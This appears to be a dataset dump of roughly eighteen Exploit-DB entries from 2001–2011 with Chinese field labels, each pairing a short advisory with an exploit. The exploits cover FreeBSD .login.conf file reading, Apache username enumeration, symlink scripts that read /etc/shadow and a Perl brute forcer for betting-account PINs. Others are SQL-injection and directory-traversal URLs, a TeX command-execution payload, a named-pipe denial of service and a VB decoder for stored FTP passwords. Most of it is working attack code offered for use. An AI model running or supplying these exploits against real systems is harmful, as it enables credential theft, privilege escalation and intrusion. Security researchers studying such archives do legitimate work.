QLWD/code_shield huggingface dataset:
标题: FreeBSD 4.3/4.4 - Login Capabilities Privileged File Reading EDB-ID: 21114 CVE: 2001-1029 类型: LOCAL 平台: FREEBSD 发布日期: 2001-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/3344/info

FreeBSD is a freely available, open source implementation of the BSD UNIX Operating System. It is developed and maintained by the FreeBSD Project.

It is possible for a user with access to a system via SSH to gain access to privileged information. This problem is caused by a mixture of problems with login capabilities, the FreeBSD OpenSSH port not dropping privileges during part of the login process, and login not dropping privileges at the correct time. A user could make a malicious entry in the .login.conf file in their home directoy, and read files such as the master.passwd file and gain access to encrypted passwords on the system.

This issue does not appear to affect other BSD distributions. 

In a .login.conf entry contained in a home directory, make the following entry if accessing the system via OpenSSH:

default: :copyright=/etc/master.passwd:

or

:welcome=/etc/master.passwd:

Otherwise, if accessing the system via login, make the following entry in a .login.conf:

default: :nologin=/etc/master.passwd: URL: https://www.exploit-db.com/exploits/21114
标题: RedHat Linux 7.0 Apache - Remote Username Enumeration EDB-ID: 21112 CVE: 2001-1013 类型: REMOTE 平台: LINUX 发布日期: 2001-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/3335/info

Versions of Apache webserver shipping with Red Hat Linux 7.0 (and possibly other Apache distributions) install with a default misconfiguration which could allow remote users to determine whether a give username exists on the vulnerable system.

http://www.example.com/~<username>

When a remote user makes a request for a possible user's default home page, the server returns one of three responses:

In a case where <username> is a valid user account, and has been configured with a homepage, the server responds with the user's homepage.

When <username> exists on the system, but has not been assigned a homepage document, the server returns the message "You don't have permission to access /~username on this server."

However, if the tested username does not exist as an account on the system, the Apache server's response includes the message "The requested URL /~username was not found on this server."

Because the server responds differently in the latter two cases, a remote user can test and enumerate possible usernames. Properly exploited, this information could be used in further attacks on the vulnerable hos

#!/usr/local/bin/php -q
<?
/*
default misconfiguration which could allow remote users
to determine whether a give username exists on the vulnerable system.

        By Gabriel A Maggiotti
 */


        if( $argc!=4)
        {
        echo "usagge: $argv[0] <host> <userlist> <delay>\n";
        return 1;
        }


$host=$argv[1];
$userlist=$argv[2];


$fd = fopen ($userlist, "r");
while (!feof ($fd)) {
        $user = fgets($fd, 4096);
                         
        $fp = fsockopen ($host, 80 , &$errno, &$errstr, 30);
        fputs ($fp, "GET /~$user HTTP/1.0\r\n\r\n");
        while (!feof ($fp)) {
                $sniff=fgets($fp,1024);
                if(strpos($sniff,"permission")!="") {
                        echo "$user exists!!!\n";
                        break;
                }
        }
        fclose ($fp);
        sleep(3);
}

fclose ($fd);

?> URL: https://www.exploit-db.com/exploits/21112
标题: Digital Unix 4.0 - MSGCHK MH_PROFILE Symbolic Link EDB-ID: 21107 CVE: 2001-1092 类型: LOCAL 平台: UNIX 发布日期: 2001-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/3320/info

The msgchk utility under certain versions of Digital Unix contains an information disclosure vulnerability which could yield root privilege.

Because msgchk fails to check file permissions before opening user configuration files in the user's home directory, a symbolic link to a target file can permit a local user to read the first line of data contained in any file readable by the msgchk user. Where msgchk is run setuid root, this allows limited information to be read from any file on the host. 

++ msgchkx.sh
#!/bin/sh
# truefinder, seo@igrus.inha.ac.kr
# msgchk file read vulnerability

if [ ! -f $1 ]
then
 echo "usage : $0 <file path>"
fi

cd ~
ln -sf $1 ~/.mh_profile
/usr/bin/mh/msgchk URL: https://www.exploit-db.com/exploits/21107
标题: Microsoft Index Server 2.0 - File Information / Full Path Disclosure EDB-ID: 21113 CVE: 2001-0986 类型: REMOTE 平台: WINDOWS 发布日期: 2001-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/3339/info

The sqlqhit.asp sample file is used for performing web-based SQL queries.

Malicious users could send specifically crafted HTTP request to an Internet Information Services server running Index Server to reveal path information, file attributes, and possibly some lines of the file contents.

The sqlqhit.asp file is located in the \inetpub\iissamples\ISSamples\ folder and is installed by default. 

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=webinfo

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=extended_fileinfo

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=extended_webinfo

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=fileinfo URL: https://www.exploit-db.com/exploits/21113
标题: SpeechD 0.1/0.2 - Privileged Command Execution EDB-ID: 21108 CVE: 2001-0956 类型: LOCAL 平台: UNIX 发布日期: 2001-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/3326/info

SpeechD is a device-independent layer for speech synthesis under Linux, providing an interface for speech-based applications or device drivers.

SpeechD has been found to contain a flaw under certain implementations which can permit a local user to pass malcious commands to the /dev/speech device, and have them executed with the privilege level of the speechd user, which is usually root. 

echo "';[hostile shell command]" >/dev/speech URL: https://www.exploit-db.com/exploits/21108
标题: Progress Database 8.3/9.1 - Multiple Buffer Overflows EDB-ID: 21117 CVE: 2001-1127 类型: LOCAL 平台: MULTIPLE 发布日期: 2001-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/3404/info

Progress is a commercial database for Microsoft Windows and Unix systems.

Locally exploitable buffer overflows are prevalent throughout many Progress Database programs. This is largely due to insufficient bounds checking of data which is externally supplied to strcpy functions.

These problems could be exploited to allow a local attacker to execute arbitrary code on a host with the privileges of each individual affected program.

This situation could be leveraged by the attacker to gain root privileges on the host. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21117.tar URL: https://www.exploit-db.com/exploits/21117
标题: AmTote Homebet - World Accessible Log EDB-ID: 21115 CVE: 2001-1170 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/3370/info

AmTote Homebet is an Internet-based account wagering interface.

Homebet stores all account and corresponding PIN numbers in the homebet.log file stored in the Homebet virtual directory. On a default installation, the homebet.log file is world readable. This could allow an attacker to steal the log file and strip out the account and PIN numbers.

$logfile='c:\windows\desktop\homebet.log'; ##change as required
print "Extracting Account/pin numbers";
open(INFILE,$logfile);
while(<INFILE>){
($accn,$pin)=split(/account=/,$_);
if ($pin){print "Account Number=".$pin;}
} URL: https://www.exploit-db.com/exploits/21115
标题: Amtote Homebet - Account Information Brute Force EDB-ID: 21116 CVE: 2001-1528 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/3371/info

Homebet is an internet based betting application that is developed by Amtote International.

A vulnerability exists in Homebet which could enable a non-registered user to confirm the validity of possible legitimate users and their PIN numbers. 

## Amtote brute force thingy
@method =
'POST /homebet/homebet.dll HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint,
application/vnd.ms-excel, application/msword, application/x-comet, */*
Referer: http://217.23.170.15/homebet/homebet.dll?form=menu&option=menu-signin
Accept-Language: en-gb
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; fs_pb_ie5)
Host: 217.23.170.15
Content-Length: 29
Connection: Keep-Alive
Cache-Control: no-cache'."\n";
$found ="notyet";

use Socket;
$prompt = "cmd\/c";
if (@ARGV<1) {die "Account cracker\n Usage \= IP/host:Port e.g. Perl $0 www.target.com\n";}

($host,$port)=split(/:/,@ARGV[0]);$target = inet_aton($host);

$account ="accounts.txt"; # file containing account numbers
unless($port){$port = 80;}

open(EXPF,$account) or die "can't open account file file $account\n";

while(<EXPF>){
$found ="notyet";

$a = $_;
chomp $a;
print "Cracking Account number\n";
print "$a\n";
#if ($a eq ""){goto hello;};

@guess = "@method" . 'form=open&account=' . $a .'&pin=0000';

@retrn = sendraw("@guess \r\n\r\n");
print @guess;
print @retrn;
foreach $line (@retrn){
 if ($line =~ "ACCOUNT NUMBER IS NOT DEFINED") { $found="no" ;  }       
        }

if ($found eq "notyet"){goto hello}

}

hello:


if($found eq "notyet"){
print <<"endc"; 

found valid account number $a
endc
}

################### sendraw sub

sub sendraw {   # this saves the whole transaction anyway
 my ($pstr)=@_;
 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
  die("Socket problems\n");
 if(connect(S,pack "SnA4x8",2,$port,$target)){
  my @in;
  select(S);      $|=1;   print $pstr;
  while(<S>){ push @in, $_;}
  select(STDOUT); close(S); return @in;
 } else { die("Can't connect...\n"); }
} URL: https://www.exploit-db.com/exploits/21116
标题: Taylor UUCP 1.0.6 - Argument Handling Privilege Escalation EDB-ID: 21106 CVE: 2001-0873 类型: LOCAL 平台: UNIX 发布日期: 2001-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/3312/info

Taylor UUCP is an implementation of the UUCP package written originally by Ian Lance Taylor.

A problem has been discovered in Taylor UUCP that makes it possible for local users to gain elevated privileges. The problem is due to the handling of configuration files when passed to uucp via the --config flag. When uux receives a request to execute commands using a malicious --config file, the commands will be executed with the privileges of uuxqt, a setuid uucp daemon by default.

This makes it possible for a local user to gain elevated privileges, and could lead to a local user gaining administrative access. 

uux 'uucp --config=/tmp/vv.v /tmp/somefile /tmp/someotherfile'

will use the supplied configuration, without dropping privileges.

1) Make a configuration file that allows any command to be executed, and allows files from anywhere to be copied to anywhere that is writable by uid/gid uucp. ( /tmp/config.uucp )
2) Make a command file with the command you want to be executed.
( /tmp/commands.uucp )
3) Do something like the following:

$ THISHOST=`uuname -l`
$ WHEREYOUWANTIT=/var/spool/uucp/${THISHOST}/X./X.${THISHOST}X1337
$ uux 'uucp --config=/tmp/config.uucp /tmp/commands.uucp '${WHEREYOUWANTIT}

The commands in /tmp/commands.uucp file will be executed by uuxqt, with the uid/gid of uucp. URL: https://www.exploit-db.com/exploits/21106
标题: PostNuke 0.6 - User Login EDB-ID: 21119 CVE: 2001-1460 类型: WEBAPPS 平台: PHP 发布日期: 2001-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/3435/info

PostNuke, successor to PHPNuke, is a content management system written in PHP. PostNuke versions 0.62 to 0.64 suffer from a vulnerability that allows a remote user to log-in as any user with known username and ID without authentication. The problem lies in a failure to filter inappropriate characters from variables that can be passed to the program's components by a remote attacker. This allows the attacker to alter a mysql query to the user database, bypassing password checking and assuming the identity of a specified user.

The component "article.php" calls a routine in "mainfile2.php" to update user information (i.e., log the user on) when the variable "save=1" (and the appropriate user ID and name) is specified in the URL. This routine, getusrinfo(), performs a mysql query to load user information from the database. Since part of this query is taken from insecure input that can be passed (in base64 encoded form) to "article.php" by a remote attacker, this query can be altered with the use of a properly placed single quote character followed by mysql statements.

This allows an attacker to bypass the condition "where user=$user3[1] and pass=$user3[2]" of the affected mysql query, for example by appending "or user=USERNAME" to it. 

The attacker must base64 encode the string containing the malformed
User ID, Username and Password combination. The unencoded string would be in the following format (with USERID and USERNAME appropriately replaced):

USERID:USERNAME:' or uname='USERNAME

This encoded string would then be passsed to the article.php script by requesting a URL of the following form (this could be trivially accomplished from a web browser):

http://targethost/article.php?save=1&sid=20&cookieusrtime=160000&user=USERID:encodedstring

Where encodedstring is the previously described base64 encoded string. Base64 encoding can be trivially accomplished with the use of any of a number of simple utilities. URL: https://www.exploit-db.com/exploits/21119
标题: Merit AAA RADIUS Server 3.8 - rlmadmin Symbolic Link EDB-ID: 21101 CVE: 2001-1000 类型: LOCAL 平台: UNIX 发布日期: 2001-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/3302/info


The 'rlmadmin' user management utility included with the Merit AAA RADIUS Server package is susceptible to a trivial symbolic link attack. The program allows users to specify a directory from which configuration files should be loaded at runtime. A help file, 'rlmadmin.help', is loaded from this directory and displayed directly to the user when the program is run.

The vulnerability exists because the program is setuid root and does not check if the help file is symbolically linked before displaying its contents to the user. As a local user, it is trivial for a local user to read any file on the system. This may lead to the disclosure of sensitive data and system compromise. 

#!/bin/sh
# -- -- -- -- -- -- -- -- -- -- -- -- -- -- #
# rlmadmin view file symlink vulnerability #
# (c)oded 2001 Digital Shadow #
# www.ministryofpeace.co.uk #
# -- -- -- -- -- -- -- -- -- -- -- -- -- -- #
bloc=/usr/private/etc # executable file location
cloc=/usr/private/etc/raddb # config file location
file=/etc/shadow # file to read
echo == rlmadmin exploit - visit www.ministryofpeace.co.uk for more!
echo = Initialising...
mkdir /tmp/peace; cd /tmp/peace
cp $cloc/dictionary $cloc/vendors .
ln -s $file rlmadmin.help
echo = Exploiting...
echo quit | $bloc/rlmadmin -d /tmp/peace > peace.log
mv peace.log /tmp; rm dictionary rlmadmin.help vendors
echo = Done!
echo == Now look in /tmp/peace.log! URL: https://www.exploit-db.com/exploits/21101
标题: Cisco CBOS 2.x - Multiple TCP Connection Denial of Service Vulnerabilities EDB-ID: 21092 CVE: 2001-1064 类型: DOS 平台: HARDWARE 发布日期: 2001-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/3236/info


CBOS is the Cisco Broadband Operating System, firmware designed for use on Cisco 600 series routers. It is maintained and distributed by Cisco Systems.

CBOS becomes unstable when it receives multiple TCP connections on one of the two administrative ports; 21 via telnet, or 80 via HTTP. Upon receiving multiple connections on one of these two ports, the 600 series router becomes incapable of configuration, requiring reboot to resume normal operation.

This problem affects the following Cisco 600 series routers: 627, 633, 673, 675, 675E, 677, 677i and 678. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21092.mrc URL: https://www.exploit-db.com/exploits/21092
标题: Power Up HTML 0.8033 Beta - Directory Traversal Arbitrary File Disclosure EDB-ID: 21102 CVE: 2001-1138 类型: REMOTE 平台: CGI 发布日期: 2001-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/3304/info

Power Up HTML is a set of HTML-like commands that can be placed into web pages. It provides a central routing point to simplify programming and customization of CGI scripts.

A vulnerability exists in Power Up HTML which allows directory traversal through the web server using ../ strings in a CGI request. This directory traversal can be used to view or execute arbitrary files on the webserver to which the web service has permissions. Failure to filter metacharacters from HTTP requests can allow user-supplied values to run. 

http://www.target.com/cgi-bin/powerup/r.cgi?FILE=../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/21102
标题: Solaris 2.x/7.0/8 LPD - Remote Command Execution EDB-ID: 21097 CVE: 2001-1583 类型: REMOTE 平台: SOLARIS 发布日期: 2001-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/3274/info

The print protocol daemon, 'in.lpd' (or 'lpd'), shipped with Solaris may allow for remote attackers to execute arbitrary commands on target hosts with superuser privileges.

The alleged vulnerability is not the buffer overflow discovered by ISS.

It has been reported that it is possible to execute commands on target hosts through lpd by manipulating the use of sendmail by the daemon.

If this vulnerability is successfully exploited, remote attackers can execute any command on the target host with superuser privileges.

This vulnerability is very similar to one mentioned in NAI advisory NAI-0020.

NOTE: It has been reported that a valid printer does NOT need to be configured to exploit this vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21097.tar.gz URL: https://www.exploit-db.com/exploits/21097
标题: RedHat 6.2/7.0/7.1 Lpd - Remote Command Execution via DVI Printfilter Configuration Error EDB-ID: 21095 CVE: 2001-1002 类型: REMOTE 平台: LINUX 发布日期: 2001-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/3241/info

'dvips' is a utility that converts DVI documents to PostScript. It is an optional component of the TeTeX text formatting package. When installed on a system where LPRnG and TeTeX are in use, 'dvips' will be invoked by 'lpd' when a DVI document is to be printed if a printfilter exists for it.

On some systems, 'dvips' is not invoked in a safe manner. As a result, it may be possible for remote attackers to execute commands through certain DVI directives on vulnerable systems through 'lpd'.

It should be noted that this vulnerability is only due to the configuration of the DVI printfilter on some systems. There is no specific vulnerability in lpd, dvips or any other executable component. It is simply an error in the default configuration present on some systems. It has been reported that Red Hat 7.0 is vulnerable with the default configuration installed with the RPM packages.

cat >exploit.tex <<EOF
\special{psfile="`command to be executed`"}
\end
EOF
tex exploit.tex
lpr exploit.dvi URL: https://www.exploit-db.com/exploits/21095
标题: Microsoft Windows Server 2000 - RunAs Service Denial of Service EDB-ID: 21099 CVE: 2001-1518 类型: DOS 平台: WINDOWS 发布日期: 2001-12-11 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3291/info

The Windows 2000 RunAs service allows an application or service to be executed as a different user. It is accessed by holding down the shift key and right mouse clicking on an icon, then selecting 'Run as...' from the context menu.

When the service is invoked, it creates a named pipe session with the specified server for authentication of credentials. The RunAs service only allows one instance of this session at a time. If a client were to create this pipe on the server without requesting any service, other clients would be unable to connect to this service. 

// radix1112200103.c - Camisade - Team RADIX - 11-12-2001
//
// Camisade (www.camisade.com) is not responsible for the use or
// misuse of this proof of concept source code.

#define WIN32_LEAN_AND_MEAN
#define UNICODE
#define _UNICODE

#include <windows.h>
#include <tchar.h>

#include <stdio.h>
#include <conio.h>

#define SECLOGON_PIPE   _T("\\\\.\\pipe\\secondarylogon")


void main()
{
   HANDLE hPipe;

   hPipe = CreateFile(SECLOGON_PIPE, GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
   if (hPipe == INVALID_HANDLE_VALUE)
   {
      printf("Unable to open pipe, error %d\n", GetLastError());
      return;
   }

   printf("Connected to pipe.  Press any key to disconnect.\n");
   getche();

   CloseHandle(hPipe);
} URL: https://www.exploit-db.com/exploits/21099
标题: UltraEdit 8.2 - FTP Client Weak Password Encryption EDB-ID: 21091 CVE: 2001-0983 类型: LOCAL 平台: WINDOWS 发布日期: 2001-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/3234/info

UltraEdit is a multi-featured commercial text editor with support for HTML, C/C++, VB, Java, Perl, XML, and C#. It also includes a hex editor and a small FTP client.

UltraEdit's FTP client has a feature which will remember FTP passwords for later use. When passwords are remembered they will be stored on the system using an "admittedly" weak encryption algorithm. As a result, it is a fairly trivial task to decrypt the passwords for FTP accounts.

Successful exploitation of this vulnerability will allow a local attacker to gain unauthorized access to the FTP sites used by other local users.

This piece of VB code will decode the passwords stored in uedit32.ini for the FTP accounts


' UltraEdit FTP password decryption (stored in uedit32.ini)
'
' Taken from the help-file:
'
' This checkbox determines if UltraEdit will save the password for later
' reference. If not the user will be prompted for the password as required. Note
' ? if the password is saved it is stored on the system. It is encrypted however
' the encryption mechanism is unsophisticated and should not be relied upon as a
' method of security.

' Masterkey. Taken from the UltraEdt.exe
Private Const Masterkey = "sdfkh we;34u[ jwef "

'Decode a single character
Public Function UEDecode(i_Asc, ByVal i_Pos As Integer)

i_Pos = i_Pos Mod 19
If i_Pos = 0 Then i_Pos = 19

UEDecode = ((Not i_Asc) And Asc(Mid(Masterkey, i_Pos, 1))) + (i_Asc And ((Not Asc(Mid(Masterkey, i_Pos, 1))) And 127))

End Function

'Decode password
Public Function UEDecodeString(str_password As String)

Dim i As Integer

UEDecodeString = ""

For i = 1 To (Len(str_password) / 2)
UEDecodeString = UEDecodeString + Chr$(UEDecode(Val("&H" + Mid(str_password, (2 * (i - 1)) + 1, 2)), i))
Next i

End Function URL: https://www.exploit-db.com/exploits/21091
标题: novell sentinel log manager 1.2.0.1 - Directory Traversal EDB-ID: 21082 CVE: 2011-5028 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2011-12-18 漏洞利用脚本: # Exploit Title: Novell Sentinel Log Manager directory traversal
# Date: 2011-12-18
# Exploit Author: Andrea Fabrizi
# Vendor Homepage: http://www.novell.com/
# Version: <= 1.2.0.1
# Tested on: Sentinel Log Manager Appliance 1.2.0.1
# CVE: 2011-5028

The latest version of Sentinel Log Manager is prone to a Directory
Traversal, which makes it possible, for Authenticated Users, to access
any system file.

Testing environment: Sentinel Log Manager Appliance 1.2.0.1

Vulnerable URL:
/novelllogmanager/FileDownload?filename=/opt/novell/sentinel_log_mgr/3rdparty/tomcat/temp/../../../../../../etc/passwd

BID: https://www.securityfocus.com/bid/51104/info
CVE-2011-5028: http://www.cvedetails.com/cve/CVE-2011-5028 URL: https://www.exploit-db.com/exploits/21082